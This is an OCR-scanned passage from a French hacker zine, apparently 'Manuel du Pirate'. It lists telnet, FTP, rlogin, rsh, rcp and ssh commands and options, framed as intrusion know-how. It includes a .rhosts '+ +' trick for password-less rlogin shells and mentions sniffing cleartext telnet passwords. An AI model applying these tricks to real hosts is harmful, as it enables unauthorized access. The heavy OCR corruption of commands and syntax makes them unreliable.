port, telnet se connccte sur le port 23 (par
defaur)

Vous pouvez au préalable scanner votre hbte
pour détecter les ports non surveillés et libres.
Dintérérde telnet par rapporta rsh oussh, Cestqu'il
établit unesimple communication bidirectionnelle
tep surun portquelconque. Il permet donc d’echan-

er des données avec n’importe quel serveut
onctionnant par commmandes en mode texte,
commeleserveur ftp (port 21), leserveurweb (port
80), ou le trojan du HZV4 (port 777). Dans le
cas particulier ol onse connecte sur le port 23, Cest
le serveur telnetd (d pour daemon, ou serveur)
qui répond, et qui donne accés & un shell.

Denc ben sous Linu$x ouvrez un Terminal
[roota)locathost /rooth#

Puis tapez Telnet
{roota)locathost /roat]# telnet

Ensuite :
Telnet> open 127.0.0.1 par exemple

Vous pouvez tapez aussi une fois sous telnet :
info

FTP

FTP ale méme profil que Telnet, il faut connaitre
en général un mot de passe et un nom d'utilisa-
teur. Ce client unix permet de se connecter sur
un serveur de fichiers ftp.

Comme pour Telnet je vais vous donner les
commandes FTP (attention tous les serveurs ne
prennent pas en charge toutes les commandes.)

Ligne de commande FTP (linux):
ions) nom_machine

1 : Direction vers ie shell local

$ nom_macro : Exécution d'une macro

open nom_machine [port] : se connecte au ser-
veur

user nom_user motdepasse : authentifie, sou-
vent user=anonymous pass=toto@

account motdepasse : Envoie un password sup-
plementaire au serveur/hdte distant

append nom_fic1 nom_fic2 : Joint un fichier
local a un fichier distant

ascii : Selectionne le mode ASCII pour des
transferts de fichiers

bell: Cloche, émetunsignal sonore quand le trans-
fert est terminé

binary : Pareil que pour aski mais en binaire
bye: ...

case : Fait basculer les mappage des nams de
fichiers de mget en capitales ou en bas de
casse

cd : accede au répertoire

fed : pareil mais en local

cdup : accede au répertoire parent

chmod: Modifie les droitsd*acces des fichiers dis-
tants

close : ...

cr : Alterne le type du retour chariot (les pro-
grammeurs savent ce que c'est=)lorsde larécep-
tion d'un fichier ASKI (CR ou CR/LF)

delete: ...
debug: ...
dir: ...
disconnect : ...
exit: ...

form : définit le format du transfert de fichier
get : prend un ficher sur I'hdte =)

put : le contraire, uploade un fichier

Is : équivalent de dir

macdef : trés pratique,définit une macro
mdelete : supprime plusieurs fichiers

mget : recupere plusieurs fichiers, ex : mget

mkdir : créer un répertoire
rstatus : Affiche I'état de I'ordinateur distant

rename: ...
rmdir : supprime un rep
size : affiche |a tailte du fichier distant

Pour une connection FTP suivre la méme démarche
que pour TELNET en remplagant TELNET par
FTP

RES COMMANDES R- ¢

tlogin, rsh, repvous devez connaitre non? Benc'est
le moment ou jamais !

Bon ben on commenge avec les commandes de
rlogin, qui permet de se connecter sur une
machineun peucomme avectelnet, maissurle port
rlogin uniquement. Il faut que le serveur autori-
se ce type de connexion, ce qui est de moinsen moins
le cas A cause des problémes de sécurité causés
par les fichiers .rhosts. En effer, écrire " + + "
dans le fichier .rhosts d’un utilisateur fera qu'une
personne se connectant avec rlogin sous son
pom accédera directement au shell sans avoir &
rentrer de mot de passe !

rlogin [options] nom_machine

-8 : Transfert de données en 8 bits (oui ¢a fait 1
octet, oui ¢'est bien) au lieu de 7 bits.

-E : Couplée avec —8 (ce qui est le cas en géné-
ral) cette op! tune quasitrans-
parente, en dé tlar i des
caractéres d’échappement.

-K : désactive les authentifications Kerberos

-d : Déhogage des sockets TPC

-1 : Permet de spécifier le nom d’utilisateur dis-
tant

-x: Active I'encryptage DES (Data Encryption Stan-
dard)

Durantlasession, une commande utile quand tout

est plante est " ~. " qui déconnecte.
RSH ¢
H

Remote Shell (rsh) exécute une commande shell
sur |'héte distant, si aucune commande n'est
fournie alors la connection surI'héte se fera par rlo-

gl]'L
rsh [options] nom_machi D

-K : Désactive les authentifications Kerberos
-d : Active le débogage des sockets TPC

-n: Réoriente I'entrée comme étant le périphé-
rique spécial /dev/null

-X : comme pour rlogin

RCP

Remote Copy (copiea distante...) en plus clair pour
les neuneus cela permet de copier des fichiers
entre des ordinateurs, oui comme un copier/col-
ler sous Word de Windows Corporation, oui
c'estca...
Mais en fait la commande rep peut s'utiliser sous
deux formes :
- Pour copier un fichier vers un fichier:

rep [-pud [k 1P fiict fic2

- Pour copier des fichiers ou un répertoire vers
un répertoire:

vep [-px] - [k IP] repl rep2

[1u]

-r:Copiel
notre répertoire

-p : Conserve les heures de modification et les
modes des fichiers sources en ignorant "umask"
-k : Réquétes a rcp d'obtention des tickets Ker-
beros

-X : comme pour rlogin

durépertoire dans

La syntaxe pour les noms de fichiers ou de reper-
toires est :
utili N

MarkinacMomEichi
cnier

Tl fautsavoir que lacommande rep ne demande PAS
de mot de passe =) mais nécessite que vous puis-
siez exécuter des commandes avec rsh.

Attaquons présent, |'avenir desinfiltrations, je veux
parler de SSH

SSH

Une grande faille de Telner a été corrigée par
SSH, car avec une session Telnet le mot de passe
est transmis sur le réseau en clair sous forme
ASCII (aski). Donc je vais vous expliquer comment
certains font pour chourrer un mot de passe sous
Telnet! Ensurveillantles paquets Ethernet du réseau
local, il est possible (si si je vous promets) de sc
rocurer le nom d'utilisateur et le mot de passe
E;a va abuser de Telnet je sens). Suffic d’uuliser
un sniffeur.
SSH acorrigé ce défaur, car les connexions sontsou-
mises 2 |'identification par cryptage RSA- et excu-
sez-moi, c'est un autre calibre que aski.
De plus une session SSH est enti¢rement cryp-
tée. A part ca, le principe est le méme que pour
telnet, avec quelques commandes supplémen-
taires de redirection de ports bien utiles.
(pour faire du tunneling SSH dautres connexions
originellement non cryptées).

Commandes SSH :
ssh [options] —L utilisateur machine commandel

-a : Désactive le transfert de I'agent d'authentifica-
tion

-k : Désactive le transfert de tickets Kerberos

-p : Définit le port auquel se connecter sur |'hdte dis-
tant

-P : Utilise un port non privilégie

-X : iésactive le transfert X11

-C : Compression de toutes les tonnées

-L : Indique le port local & transférer a I'ndte et au
pont distants désignés

-R:indiguele port distant atransiérer aI'hdte st au port
Incaux désignés

Pour finir avec SSH il faut savoir que toutes les
grosses sociétés|'utilisent, lesadministrations... En
France pour des raisons légales il faut utiliser
SSE, clone de SSH adaptée a la limite de 128
bits de cryptage.

Pouren finir je vous conseille devous connecter sur
des ports UDD, ¢a passe en général mieux, et
puis si I'héte a un firewall, vous n'avez plus qu'a
acheter le Manuel du Pirate N°1 (si vous ne
I'avez pas, mais on se sait jamais...) Voila, nous
verrons autre chose, dans un autre numéro, je
veux juste vous dire que je prépare qqchose de
costaud pour le prochain Manuel du Pirate.

THE MENTOR
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